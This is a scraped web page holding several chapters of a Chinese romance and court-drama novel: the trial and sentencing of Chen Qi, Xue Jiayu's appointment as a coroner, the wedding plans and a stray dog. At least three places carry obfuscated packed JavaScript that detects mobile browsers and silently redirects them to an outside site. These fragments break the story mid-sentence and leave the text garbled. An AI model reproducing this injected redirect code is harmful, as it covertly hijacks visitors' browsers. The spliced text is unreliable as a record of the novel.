裴砚带着她踏进太极殿,殿内圣人正身着龙袍,坐在龙椅之上,身后的那堵墙上挂着一块金色的牌匾,上面题着“中正仁和”四个大字,抬头一看,只见天花板以浅绿色为底色,上面雕刻着相同的二龙戏珠的画面,最中间的那一块凹进去了一些,仔细一看,是一条蜿蜒盘旋的金龙,面容威严,不怒自威。 坐在龙椅上的圣人两手搭在膝盖上,他确实就像裴砚说得那样是个平易近人的君主,而且瞧着年龄并不大,兴许就比裴砚大个几岁。 圣上见裴砚的身边跟着一位小女娘,便明白这女娘就是裴砚之前提起的那位心上人了,他的目光不禁在薛嘉玉身上逡巡了一遍,对这位毫无身世背景的女娘有些好奇。 薛嘉玉注意到圣上一直在盯着自己看,心中不免有些发毛,她默默垂下脑袋,不敢与圣上对视。 裴砚冲着圣上行礼,“圣上,臣已将陈祺、陈昭二人带来。” 听及此,圣上立刻收回探求的眼神,转而一本正经道:“将他们二人带进来吧。” 裴砚侧了侧身,对立在门外的几人招了招手,狱卒立刻就把祖孙俩拖了进来,形容极为狼狈。 陈祺曾官居二品,因早早乞骸骨而脱离了官场,如今他再度和自个儿曾经的同僚和政敌见面居然是这样的一番画面,陈祺顿觉无地自容。 接着裴砚又道:“圣上,这位女娘便是十三年前薛氏灭门案中唯一活下来的。” 薛嘉玉朝着圣上行礼,恭敬回答:“回圣上,民女的父亲只因发现了陈祺杀人的真相,想要揭发,便被陈祺痛下杀手,若非当年乳母带着民女躲到冰冷的井水中,那民女这条命也自是保不下来的。 然屠我薛家满门并非是陈祺做过的最丧尽天良的一件事,那日陈祺将我绑到一座山上,欲杀人灭口,却不曾想发现了我家人的骸骨,那一根根白骨被陈祺随意地扔进土坑里面,甚至骨头上面还有累累伤痕,说明陈祺将他们杀死以后,还对他们的尸骨进行了惨绝人寰的虐待。” 这话一出,引得众位大臣唏嘘。 圣上依旧面不改色,他将视线投到一旁候着的大理寺卿身上,“沈卿,朕记得薛家案当年是由覃宏主办的,你也是由覃宏一手提拔上来的,难道草草结案的时候,就没发现其中的疑点?” 沈卓立刻扑通一声跪在地上,“圣上,这薛家案案情重大,覃宏并未将其全部情况告诉给臣啊,况且结案之后覃宏便主动离开了大理寺,我怎会发现其中的疑点呢?” 听闻此言,圣上的手指无规律地敲着自己的膝盖,他挥了挥右手,宽大的袖子瞬间垂落在了地上,“主动离开了大理寺?裴侍郎,你怎么看?” 被点到名字的裴珩一时间差点儿没反应过来,昨夜蒋宁显身子不适,为了照顾她,他整宿都没睡觉,如今眼下一片乌青,脑袋昏昏沉沉的,都没怎么去关注他们方才在殿上都聊了些什么。 裴珩往旁边挪了一步,“回圣上,吏部的官员记录簿里面记载的确实是告老还乡,但当时覃宏刚递上了奏折,未等先帝批复,他便匆匆离开长安,且次日就暴毙身亡,此事实在可疑。” 圣上微微颔首,那双狭长的丹凤眼盯着跪在地上的沈卓,目光如炬,不需开口,便已感觉压迫感十足。 沈卓疯狂地摇着脑袋,“圣上,臣当真不知道当年事情的全貌啊!” 圣上心中早已有数,对身边站着的内官招了招手,内官立刻心领神会,找来几个小太监,把沈卓带出太极殿。 裴砚瞟了一眼身旁的薛嘉玉,她的脸色算不上有多好,想必是刚才那一段话又让她回想起了那些画面吧,他继续道:“圣上,陈氏所做下的恶还远远不至于此。” 闻言,圣上挑了挑眉,眼底并无任何波澜,像是在极力隐忍,他拨了拨手中佛串上的珠子,“还有什么?一一说来。” “陈昭与陶维钧在金陵豢养私妓,牟取暴利,甚至致使多位小娘子香消玉殒,陈昭所犯下的罪亦是不可饶恕的。而陈祺更为逾矩,烧杀抢掠,无恶不作,当堕入地狱,永世不可超生。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287528|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈祺一听这话,意识到裴砚是想要把陈昭给一块儿弄死,可他如今只有这么一个孙子,陈氏能否复兴,还都得指望着陈昭呢! 他要是也死了,那陈氏就算是真的完了! 陈祺两腿并用,灵活地挪到了裴砚脚边,他两手紧紧揪住裴砚的裙摆,扬起脑袋,目眦欲裂,额头上青筋暴起,嗓音低沉,“你不是说过会放昭儿一条生路的吗?” 裴砚看向他的眼神中透露着蔑视,他提起右脚,冲着陈祺狠狠一踢,陈祺立刻瘫倒在瓷砖上,旁边的几位大臣都避之不及。 “我以为你不会相信这种鬼话。” 他的这一句话杀人诛心,直接掐灭了陈祺心里头唯一的希望。 陈祺膀大腰圆,两手两脚又被铐住,极为笨拙地从地上爬起来,他勾起唇角,一副小人模样,“可是我朝律例中可没规定豢养私妓要落得个没命的下场!再者,你说我烧杀抢掠,无恶不作,证据呢?你贵为大理寺少卿,应当知道不能给别人安上莫须有的罪名吧。” 裴砚听后倒是笑了,他就等着陈祺这句话呢。 “证据自是有的,请圣上允许臣让崔三娘子和陈晟进殿。” “嗯,让他们进来吧。” 崔景天和陈晟本是肩并肩一同踏进太极殿,但她蓦地对上了来自自家父亲那双极为危险的眼神,她立马与陈晟隔出一条长江来,快步走到薛嘉玉身边,向圣上行礼。 她把手里的那副长卷展开,上面用笔墨书写了陈氏这么些年在长安犯下的恶,白纸黑字,清清楚楚,每一条罪名后面都有受害者的真名落款,名字上还印着手印,而那用来盖印的并非印泥,而是他们的鲜血。 崔景天说话掷地有声,将那副长卷展示给每一位大臣看,“这些都是百姓们冒着生命危险写下来的,他们写的时候也曾害怕万一我朝司法再度包庇权贵,会导致他们小命不保,可是他们还是勇敢地写下来了,甚至将自己的名字也记下来了,这些并非是我和陈君要求的,是百姓们自发的。由此观之,陈氏实在是作恶多端,才会引得百姓激愤。” 强抢民女、贩卖婴儿、侵占田亩、擅自加收赋税等等,都一一罗列在了这条长卷上。 黑色的墨迹中隐藏着鲜红的血液,遮掩了无尽的罪过,藏起了权贵的丑恶嘴脸。 崔景天把长卷双手奉给圣上,他单手接过,两手捧着长卷,上面字字泣血,一直淡定自若的圣上也终究忍不住勃然大怒,圣上将长卷“啪”的一声合上,递给旁边躬着腰的内侍,他从椅子上站起来,泰然自若地走到陈祺面前,居高临下地盯着他。 圣上气得用手指捏了捏紧紧皱起的眉心,“陈老,先帝念及陈氏先祖立下的不朽功勋,才愿意保你一家富贵繁荣,而不是在一味的纵容你。陈老,朕如今还肯尊称你一声陈老,那也是因为朕还没有忘记那些功勋。当然,这也并不代表着朕忘记了当年陈氏因为冒进,险些丢掉一座城的事情。” “现在,百姓纷纷冒着生命危险,写下了你的种种罪行。这万民请命书,朕不可坐视不理。” 陈祺跪在地上,腰杆挺得直直的,他不屑地哼了一声,“怪不得人人都说最是无情帝王家,这才多少年过去啊,就已经急着要铲除我们这种世家大族了。我陈家是一个开头,那谁又是下一个呢?圣上,你若是对我陈家赶尽杀绝,就不怕引得其他世家人心惶惶?” 此话一出,在场的几位老臣脸上到处浮现出一丝异样的神情,能够进这太极殿的那都不是什么芝麻小官,尤其是像他们这种已经为国鞠躬尽瘁了几十年的老臣,门生众多,在长安根基颇深,后代也大多都入朝为官,要是圣上当真动了要打压门阀士族的心思,那他们也难以脱身。 这时,疲惫不堪的裴珩再度站了出来,“圣上,陈祺近年鼓动门生纸钞买官,从中牟取暴利,祸乱朝政,造成冗官冗费的局面,陈祺难逃其咎。数罪并罚,若不斩立决则难以平民愤,圣上亦可借此机会敲打其他以权压人的世家大族,以立清正之风。” 圣上微微颔首,手指指着裴珩,上下晃了晃,“裴侍郎说得正合朕心。朕从未想要铲除世家大族,因为他们的先祖都是随着先帝一同打下了这片江山的功臣,若是贸然铲除,那朕愧对列祖列宗,也是对功臣的不敬。但倘若诸位知法犯法,那朕也只能按律当处。” 听及此,陈祺的心中登时慌了,可是他还不想就这样认输,他风风光光了一辈子,怎么能就这样草率收场呢? 他环顾了一下四周,想要寻找一根救命稻草,可是在场的每一个人,哪怕是内侍,都唯恐避之不及,看向他的眼神中尽是蔑视和憎恶。 这时,陈祺的目光忽然定在了一直站在门口的那个人身上。 65. 婚约 陈祺顿觉还有翻身的机会,他将坏心思打到了一直沉默不语的陈晟身上,“陈晟,晟儿,你怎么能帮着外人欺负自家人呢?若是我长安陈家倒了,那势必会波及到你洛阳陈家啊,我们可是同根生,昭儿死了,你的命也未必保得住。再说了,这也没有证据可以证明那些私妓是昭儿养的啊,晟儿,你莫要被那姓裴的骗了!你俩自小就不和,他一直以来都嫉妒你,针对你,这次也定不例外!” 陈晟本以为自己能够当个安安静静的看客,没曾想这火还是烧到了自己身上,他不以为意地开口:“陈祺,这桩桩件件没有一件是冤枉了你。倘若我当真遭到了你的波及,那我也就认了,反正我心上人的家人也不肯把她交给我,我一个人孤苦伶仃的,死了便死了。不过——” 说到这里,他忽然间顿了一下,陈晟不疾不徐地来到了陈昭面前,对上了他那双猩红的眼睛,“陈昭豢养私妓那是板上钉钉的事儿,那些被拐的小娘子都可以为此作证。您就不必这么大费周章地保他的命了,也不用担心我的狗命,因为陈昭是势必会受到你的波及的。我相信圣上这样一位明君是不会冤枉任何一个好人的。” 此事人人心中早已有了定夺,安排三司会审也不过是为了让审判结果更加合理公正,从而也能打压一下一些世家大族的嚣张气焰。 圣上听得有些心烦了,也不想再和陈祺这个老头子辩论下去,“崔尚书,杨御史,你们二位以为该如何处置?” 崔尚书说话之前,先是瞥了一眼旁边的陈晟,他年纪大了,思想比较古板,只觉得陈晟方才那句话说得实在有些不合时宜,两家之间的私事怎可拿到太极殿这等威严正经的地方来谈? 真是没个正形。 崔尚书旋即收回眼神,“回圣上,臣以为当按律判处,勿要为了许多年前那点情意,对陈祺网开一面。” 杨御史心中亦是这么认为的,“崔尚书所言极是,陈氏家风不正,但究其根本都是陈祺一人导致的,那些恶行亦是由他一人造成的,所以不应牵扯九族,波及到一向清正廉洁的洛阳陈氏。其次,陈昭虽豢养私妓,但我朝律例并未规定豢养私妓者当判处死刑,因此也不可因家人有错,而强加在陈昭身上。” 圣上把视线抛到裴砚身上,他的脸上蓦地浮现出一丝意味不明的笑容,“裴卿,你觉得呢?” “臣认为崔尚书和杨御史说的不无道理,谁犯了什么罪,就用让他承担相应的后果即可,不必波及那些与他有关的无辜人士。” 圣上点了点头,转身回到龙椅面前坐下,继续盘他的那串青绿色佛珠,一字一顿道:“好,判陈祺斩立决,脑袋悬予城门之上三日,以告诫其他欺压百姓之人。陈昭豢养私妓,则打入大牢,永世不可放出。来人,把这两个罪犯拉下去吧。” 天子号令一出,无人敢怠慢,守在门口的两位内侍立刻将这两人拉了下去。 现在该惩处的人已然有了定论,那接下来也就该奖赏那些有功之人。 “薛娘子,你此番以身涉险,才让陈祺如此之快地露出马脚,亦助裴卿顺利抓捕陈祺,先前听裴卿说,在金陵一案中你也立下了不少功劳,你是朕最应当嘉赏的,有什么想要的尽管提。” 薛嘉玉心中的确有想要求得的东西,可是她不知道当说不当说,她偷偷瞟了一眼裴砚,裴砚立刻就注意到了,他小幅度地点了点头,让她放心大胆地说。 圣上见她有些迟疑,便道:“薛娘子想求什么,直说便是。” 她双膝跪地,两手交叠着放在身前,“回圣上,民女想进大理寺当仵作。” 圣上此前便已从裴砚嘴里得知了薛嘉玉是一名仵作的事儿,只是他没想到薛嘉玉竟会想进大理寺,女子为官那可是前所未有的事情,此事倒是得要深思熟虑一下。 见圣上有些迟疑,薛嘉玉便觉得此事有些悬了,早知道就选金银珠宝了,这样还能富贵一把。 但她还想再争取争取,“圣上,女子也拥有着和男子同样的魄力和智谋,只是碍于世道的不公和偏见,才让女子只能被困于后宅,无法施展宏图,无法为我朝效力。” 这时,一位两鬓斑白的大臣站了出来,徐中书令瞥了眼旁边弱不禁风的小娘子,眸中似乎蕴含着不解,“女子为官是前所未有的事情,况且女子自小便学习的是德艺,与男子所学有着天差地别,怎能为官?” 薛嘉玉进大理寺为官这个豁口一旦被打开,那势必会鼓动更多的女性入朝为官。 圣人的确不敢随便定论。 薛嘉玉语调平淡,但说出来的话却是震撼人心,“那就让女子也可以在学堂里面学习和男子一样的内容不就好了?让女子也参加科举,公平竞争,择优者为官。想必此举亦可让我朝政治更加清明。” “圣上。” 说这话的人是裴珩,他本来正打着瞌睡,听见了薛嘉玉所求之物,不忍精神了几分,大抵也是想到此前蒋宁显曾提起过自己也想上阵杀敌的事儿,所以裴珩也想替薛嘉玉争取一下。 “圣上,吏部近日发现官员空缺较为严重,若是也让女子为官的话,便也能解决这个问题,同样也能营造一种读书好学的风气,让百姓的素质得以提高。” 话音刚落,站在裴珩前面的吏部尚书回头,冲着他皱了皱眉,好似是在指责他不应当在这个时候开口。 但裴珩只当自己眼睛瞎了,没有看见。 坐在龙椅上的九五至尊垂眸瞧了一眼手里的佛串,大拇指缓慢地拨动着佛珠,沉吟道:“裴侍郎说得在理,女子亦可有一番作为。那即日起,薛娘子便破格成为大理寺仵作,并赏黄金百两。科举亦不再限制性别,凡有能力者皆可参加。各地广开学堂,由知府负责,接纳男女老少,让好学者有书可读。其他有功者皆赏黄金百两,赐绫罗绸缎二十匹,珠宝首饰二十件。” 薛嘉玉和众位大臣皆纷纷跪拜叩谢。 出了太极殿,薛嘉玉和裴砚二人恰巧碰到了正被吏部尚书提点的裴珩,圣上能应允此事,裴珩亦出了不少力,薛嘉玉连忙朝着他行礼道谢,还用手肘戳了戳裴砚,让他也跟着道谢。 裴砚无奈,只得硬着头皮道谢:“多谢兄长方才愿仗义执言。” 裴珩淡淡地点了点头,“不必言谢。” 被热脸贴了冷屁股,裴砚心里不太好受,正想跟他争论几句,却听见薛嘉玉关心那头死驴。 “兄长,昨夜是没睡好吗?怎么眼下一片乌青?” 裴砚脸色更加不好了,“你关心他做甚?” 薛嘉玉瞅了他一眼,不太耐烦地“啧”了一声,小声威胁他,“别说话,看不出来兄长身子不适吗?” 经她这么一提醒,裴砚才留意到了自己兄长今日格外憔悴,两只眼睛像是撑不开的一样,而且面色惨白,好似下一秒就要直接昏倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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圣上的视线饶有兴趣地在这俩身上逡巡了一遍,他见这俩人都不出声,甚是羞涩,便只好自个儿主动开口,“文溪,原以为你会娶那种恭敬守礼的女娘,没曾想你居然喜欢这般大胆有胆识的女娘,难怪我之前给你介绍的那些女娘,你一个都不肯去见。” 裴砚轻笑一声,“娶妻当然要娶自己所爱的嘛,别的女娘我都不认识,自然不可能去见。” 圣上低头笑了一下,旋即偏头看向旁边沉默不语的薛嘉玉,他留意到她有些拘谨,想要让她放松一些,于是将面前的这盘马蹄酥推到她的面前。 “来,尝尝宫里御膳房的手艺吧。” 薛嘉玉抬起手,只拈了一小块马蹄糕来尝,不得不说不愧是出自皇宫御膳房之手,果真做得十分细腻,口感丝滑,口味香甜,而且黏度刚刚好,不会黏在牙齿上面,也不会让人感觉腻。 圣上看得出来她挺喜欢这马蹄糕的,便吩咐一旁的内侍去让御膳房再做一盘马蹄糕并送到裴府去,他和裴砚是发小,如今裴砚找到了心爱的女娘,圣上也忍不住化身成一个啥啥都要操心的媒婆。 “那你们俩现在定下婚约了吗?聘礼准备得可丰厚?可需要我来主持你们俩的婚礼?” 这三个问题一下子砸在了裴砚身上,他一时间还未反应过来,裴砚一一为面前这个操心的“媒婆”解释,“还没定下婚约,阿玉如今尚不满二十,我想等她过了生辰再办,也好让她再考虑考虑。至于聘礼,我裴家娶妻向来都是极为舍得的,绝对不会亏待了她。至于你,就算了吧,我怕你一来,那些宾客都无法放肆了。” 薛嘉玉从不知道他原来是想把婚期定在自己的生辰之后,难怪这么些天过去了,都没见他写婚帖。 圣上就是个操心的老妈子,听见裴砚还没有定下婚约,着急地说:“你先把婚约给定了嘛,婚礼的事情到时候再说不就行了吗?要是到时候薛娘子当真跑了,你哭都来不及。” 66. 有恃无恐 裴砚莫名开始自信起来,他抿了一口茶水,“她能跟谁跑?跟越褚?他连个官职都没有,以后分了府,看他拿什么贴补家用。” 薛嘉玉可受不了他这副拿捏稳当的模样,她双手抱在胸前,从鼻腔里面不屑地哼了一声,“什么意思?除了越褚,还有别的人呢,你可别那么自以为是。” 这话一出,裴砚立刻有了危机感。 “还有谁?” “好多好多,我都记不得了,只记得有个沈峤。” 她一边吹牛,一边细细观察着裴砚的表情,见他神情有些异样,薛嘉玉便继续往热锅里面浇油,“也不知道你哪儿来的自信,我瞧着那越褚皮相不差,而且越家有权有势,嫁给他倒是也不错。不过没有官职确实不行,你倒是提醒我了,那沈峤是个有官职的,谈吐文雅、芝兰玉树,倒也不错。” 裴砚气得快要直接晕厥过去了,原以为只有越褚一个人勾搭了她,没曾想居然还有个沈峤!只能怪他实在是太不小心谨慎了,居然没堤防到其他人。 “那沈家配跟我裴家比吗?再者,沈家可没有不能纳妾这种规矩,你要是去了之后没给沈峤生下几个小娃娃,那沈峤定然会迎好几门妾室进府,到时候哪有你好日子过?” 瞧着他气急败坏的模样,薛嘉玉极力憋笑,她佯装冷漠,打算再给他一个下马威,“那又如何?沈峤长得好看不就行了,况且他想要孩子,那我努力给他生呗,多大点儿事。你呀,就不要替我操心了。” 裴砚本就郁闷,现如今听了这番话,他都气得想要掐人中了,“你以为生孩子是什么轻松的事儿?还努努力给他生,那要是他让你生十个,你也生?” 薛嘉玉只觉甚是好笑,按理说这般简陋的谎言,他应当可以一秒识破,没曾想他居然还当真了,她终究是忍不住用手捂住嘴巴,偷偷笑了几下。 圣上在一旁围观这俩斗嘴,脑海里竟也忍不住浮现出一抹娇俏的身影,他扬起唇角,“好了,你俩也别斗嘴了,总之婚约的事儿得要早早定下,到时我定会为你俩备上一份大礼。” “行,那我俩也不在这儿叨扰你了。” 说罢,裴砚就牵着薛嘉玉的手腕,硬生生把她拽出了紫宸殿,薛嘉玉感知得出来,他肯定是又发驴脾气了,她的手腕渐渐有些发红,有些委屈地控诉:“裴砚!我手腕都红了!” 听及此,裴砚立刻放开了她的手腕,但依旧没有说话,只迈着快步走在前面。 薛嘉玉不疾不徐地跟在他的身后,盯着他愤愤的身影,“裴砚,你要是再走这么快的话,我可就真的和别人跑了。” 他自然不想让自己的小女娘跑到别的男子身边,所以他识趣地将脚步慢了下来,等着薛嘉玉赶上来。 薛嘉玉单手揽过他的劲腰,瞧他这副气呼呼的模样,还是跟他说了实话,“文溪,你怎么这么笨啊?人家沈峤是有婚约的,我怎么可能会跟他跑?刚那些都是说来逗你的,你动点脑筋吧。” 得知自己少了一个竞争对手,裴砚的心情登时好了不少,“那你就给我生几个孩子吧?” “生几个?”她专门咬重了“几”这个字眼,“你刚不是还说生孩子对身体不好吗?怎么着?你对人不对事啊。” 裴砚方才也就是逗逗她的,毕竟之前妙云大师说过她子嗣缘薄,想必是身子不宜生养,反正他对于孩子这种东西没什么多大的期许,要不要都不打紧,关键是不能因此伤了她的身体。 “好,那就不生,都听你的。” “对了,文溪,我们要不把婚礼定在我生辰那一日,就是三月廿五。” 他简单算了算,如今到三月廿五尚有两个多月的时间,用来筹备婚礼倒是绰绰有余,况且再过几日霍玉燕和裴诚也理应要从外面流浪回来了,正好能够正式地见一见,商量一下婚礼的事儿。 裴砚微微颔首,“行,都听你的。” 薛嘉玉忽然间又想到了一件事情,“可是……我没有嫁妆,这怎么办?” 一般来说,女子的嫁妆都是由父母准备,可是薛嘉玉没有亲人,况且父母离世得早,定然是没有给她备下一份嫁妆的,这要是被传出去了,恐怕会被一些说书先生编成是空手套白狼的爱情故事。 “没事,不用在意这些虚礼。你肯嫁我,就已经是你送给我们家最大的诚意了。” 薛嘉玉一时心中五味杂陈,她不知道该怎么回应,于是一路都陷入了沉默,等回到裴府的时候,蒋宁显立马放下手里的针线活,挺着微微隆起的肚子,快步走到薛嘉玉身前,“你们俩总算是回来了,我呀都等你们好久了。” 薛嘉玉问:“找我们有事吗?” 蒋宁显牵着她的手,“是找你有事商量,大理寺女仵作,快跟我一块儿来一趟后院。” 她一头雾水地跟着蒋宁显来到后院,路上也曾问她这是要做什么,可是蒋宁显就是不肯老实交代,说什么等到了那儿就知道了。 来到后院,这儿有十几个小厮在忙活着,每个人的手里面都搬着一个不大不小箱子,蒋宁显招呼着他们把箱子打开,箱子被小厮们齐齐打开,那里头的金银珠宝都快要直接把薛嘉玉的眼睛闪瞎了! 一眼晃过去,全都是价值连城的宝贝儿,甚至还有别人求都求不来的吴鄢子画作。 薛嘉玉这下更加一头雾水了,她一脸懵地询问蒋宁显,“长嫂,你这是作甚?” “这是长嫂给你准备的嫁妆,你务必要收下,不准和长嫂客气。自古以来,嫁妆不止是女方给夫家的诚意,亦是女子未来在夫家生活的底气。” 蒋宁显抬了抬手,示意小厮们把箱子合上,“阿玉,这些东西你一定不要推辞,就当是长嫂的一片心意。” 薛嘉玉有些迟疑,“可是这些实在是太贵重了,要不我就只拿一盒?” 她一手垫着薛嘉玉的手心,一手放在薛嘉玉的手背上,蒋宁显轻轻地拍了拍,“都拿着,这其中有几盒还是裴珩给你准备的,他现在还是有些过意不去当初的事情,你要是不肯收下的话,想必裴珩会觉得你还没有原谅他。” 薛嘉玉实在不愿意拂了蒋宁显和裴珩的好意,无奈之下,她只得收下,并朝着蒋宁显行了一大礼,“长嫂,此份恩情阿玉没齿难忘。” 蒋宁显连忙把她从地上扶起来,她嘴角上扬,连带着眉头也跟着上扬,笑容十分明媚,“不必行如此大礼,就算你不嫁给文溪,长嫂亦当你是一家人。像你这样有野心有智谋的女子不多见,以后可要在大理寺好好当差。” 说到这儿,她忽然间凑近,身上的那股茉莉花香扑鼻而来,蒋宁显凑到她的耳畔,悄声说:“要是成婚以后受欺负了,就回这里来住,长嫂给你主持公道。平日里也要多回来,否则我一个人在这儿也挺孤单的,你也知道裴珩那脾气,我可犟不过他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292648|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音刚落,裴珩那头死驴就走了过来,他径直来到蒋宁显身边,两手背在身后,板着个脸,就像是学堂里严格的夫子一般,“文溪是个骄纵的人,你以后莫要总是惯着他,要对他严格一些。” 薛嘉玉老实巴交地把双手叠放在身前,乖乖地应道:“知道了兄长。” “还有,如今你也算是有官职在身的人了,一言一行务必严加注意,莫要被人揪住了小尾巴。” 她依旧乖乖地点头应是,不敢多说什么。 蒋宁显见气氛有些严肃,就伸出扯了扯裴珩的衣袖,“从瑜,你莫要这么严肃嘛,阿玉和文溪又不是小孩子了,这些道理他们都是清楚的。” 见她都这么说了,裴珩也没有再继续教导他们了,只是道:“一会儿留下来一起用午膳吧” “好。” 说完这句话后,薛嘉玉见裴珩似乎有什么话想要和蒋宁显说,所以她立刻拔腿就跑,打算去和裴砚汇合,恰巧碰着了同样来寻她的裴砚。 裴砚熟练地一把揽过她的肩头,垂眸盯着怀里的小女娘,语气温柔,“长嫂都跟你说了什么?” 薛嘉玉用两只手在空气中划了一个大大的圆,“长嫂和兄长跟我准备了一份特别特别丰厚的嫁妆,所以你以后也不要总是和兄长作对,他只是个刀子嘴豆腐心而已。” “算他有点良心。” 裴砚嘴巴上这么说,但心里面却是相当感激蒋宁显和裴珩的。 她喜欢热热闹闹的生活,住在这裴府,每日都可以和蒋宁显一块儿聊天,偶尔还能听裴珩这兄弟俩斗嘴,薛嘉玉倒觉得这日子挺有趣的。 所以她提议:“文溪,我们这段时间还是住在这儿吧。” 裴砚没有多问,“行,都依你。” 午时已至,小厮们纷纷端着热乎乎的饭碗从小厨房里边儿出来,为了庆祝今日薛嘉玉破例成为了大理寺的一份子,蒋宁显特地吩咐厨子们多做一些好菜,自己也亲自下厨烙了一盘煎饼,忙活了这一阵,她的额头上都冒出了一些汗水,裴珩见状,连忙用手帕给她擦擦。 “你这才刚怀孕没几个月,还没安稳下来,就别亲自去忙这些事情。” 蒋宁显才不想听他说这些话,她用筷子给薛嘉玉夹了一块香喷喷的煎饼,“今天可是个大喜日子,再说了阿玉就喜欢吃我做的煎饼,我给她煎一盘饼又怎么了?” 裴珩靠近她的耳畔,压低声音,“那你给我也夹一块嘛,我也想吃。” 她一边给裴珩夹了块煎饼,一边疑惑地问:“你不是从来都不吃煎饼吗?” “想尝尝你的手艺。” 裴砚原本在旁边安安静静地吃着饭,听见裴珩这句话,蓦地想起了当时两个人吵架,裴珩吃煎饼的事儿,他没忍住笑了一声。 他是裴珩的好弟弟,裴砚就是张个嘴巴,裴珩都知道他要吐出点什么坏话来,又怎么可能不知道他是因何而笑。 裴珩轻啧一声,“吃你的饭,笑什么笑?一点儿规矩都没有。” 为了嫁妆的事儿,裴砚这次忍住了和他斗嘴的冲动,他憋着一肚子火气,把碗里的饭哼哧哼哧地吃完了。 薛嘉玉将左手伸到桌子下面,她将手往裴砚的方向探去,轻轻扯了扯他的衣裳,察觉到身边的人再呼叫他,裴砚立刻放下手里的筷子,弯下腰,凑到她的身边。 “怎么了?” 67. 玉佩 薛嘉玉张了张嘴,犹豫了片刻,才缓缓道:“一会儿你来我房里,我有东西要交给你。” 裴砚不知她为何又主动让自己去她地厢房,一时间起了逗她的心思,他吊儿郎当地反问:“一会儿?多久叫一会儿?今夜子正时分?” 她在心里暗暗吐槽此人的记性实在过于的好了,居然又提起了上一次的事儿,薛嘉玉想用手狠狠掐他两下,好让他别再这么吊儿郎当的,可是又顾忌着裴珩在这儿,所以没有直接上手,而是咬咬牙道: “裴砚,我可跟你说正事儿呢,你别嬉皮笑脸的。你要是错过了,会后悔终身的!” 听见她难得叫一次自己的全名,裴砚也不敢不正经起来了,他收起先前的嬉皮笑脸,转而正襟危坐,一脸认真地点点头,“好,我知道了,不会忘记的。” 薛嘉玉把那一盘的煎饼都给吃完了,其他的菜肴也都雨露均沾,吃得她肚子滚圆,都快要和有了身孕的蒋宁显一样大了。 她靠在椅背上,左手肘搁在木头扶手上,右手搭在肚皮上,左三圈右三圈地摸了摸,看起来十分惬意和餍足。 裴砚瞧着被她吃撑地肚子,顿时也想要摸一摸,他想着手感应该会很好吧。 意识到自己思想的不对劲后,裴砚连忙把头偏向另外一边,他顿觉自己就像个流氓! 这还没成婚呢,就已经对人家想入非非了不知多少次,这实在不是君子所为。 裴砚强行将那种土匪思想从脑子里面摘出去,转而在心里面默默地诵经,欲让自己六根清净。 薛嘉玉瞧他忽然间就变得老老实实的了,只以为他是良心发现,所以也没有多问。 中午吃得太饱,薛嘉玉便围着裴府逛了几圈,好消消食,她来到后院的时候,正巧碰见了常来裴府偷吃的野狗,它的獠牙中还叼着一块肥美的鸡腿,见有人类来了,小狗立马朝着狗洞跑去,生怕自己到嘴的鸡腿跑了。 薛嘉玉见这只小狗长得还挺可爱的,便大步流星地跟上去,然后蹲在狗洞面前,迅速抓住小狗的两条后腿,本来都已经钻了半个身子出去的小狗还是被这个可恶的人类给抓了回来。 她一把将小狗拖了回来,薛嘉玉两手撑住它两条前腿的胳肢窝,让它靠着墙边站立,小狗有些害怕,浑身上下都在发抖,尽管这样,它还是死死地咬住鸡腿不放。 小狗两只眼睛湿漉漉的,直勾勾地盯着一言不发的薛嘉玉,不时眨巴两下眼睛,看着十分惹人怜爱,它见人类还不肯放开自己,便小声地呜咽着,听着倒觉得这偷鸡贼挺委屈的。 薛嘉玉瞧它可怜兮兮的,便把它放了下来,然后一把抢走他嘴里的鸡腿,一边将鸡肉撕下来喂给它吃,一边喋喋不休,“要是拿整个鸡腿给你吃,你定会不小心吃到里面的骨头,慢慢吃吧,没人跟你抢。” 小狗吃了几口鸡肉后忽地就不吃了,它扬起脑袋,哼哼了几声,接着两条腿扒着薛嘉玉的膝盖,它一边摇着长长的尾巴,一边舔舐着她的手指,两只双眼亮晶晶,看来它心情挺不错。 她用手摸了摸小狗的发顶,“你怎么这么可爱,快去吃吧,别饿着了。” 这条小狗虽然是流浪狗,但它的身上并不脏,毛发也不长,也没有打结,看来裴府的人不仅给它吃的,还给它打理干净了。 薛嘉玉蹲在一旁,仔细观赏着小狗吃肉,她顿时起了想要养它的心思,想着要是有这样一条可爱的小狗陪着自己,肯定会很有趣。 想到这里,她的身后就响起了裴砚的声音。 “你做什么呢?” 从裴砚这个方向看过去,薛嘉玉将那条小狗挡得严严实实的,他只看得见她一个人莫名其妙地蹲在一个狗洞旁边。 她蓦地回头,“看小狗吃东西啊。” 裴砚大步走到她的身边,同样蹲在她的身旁,盯着面前黑黢黢的小狗吃鸡腿,“这有什么好看的?” 薛嘉玉两手捧着脸颊,“很可爱啊。文溪,我想养这条小狗。” “那就养吧。”话音刚落,裴砚的脸上就划过一丝迟疑的神情,踟蹰道:“不过养在这儿的话,不知道会不会一不小心伤到长嫂。” 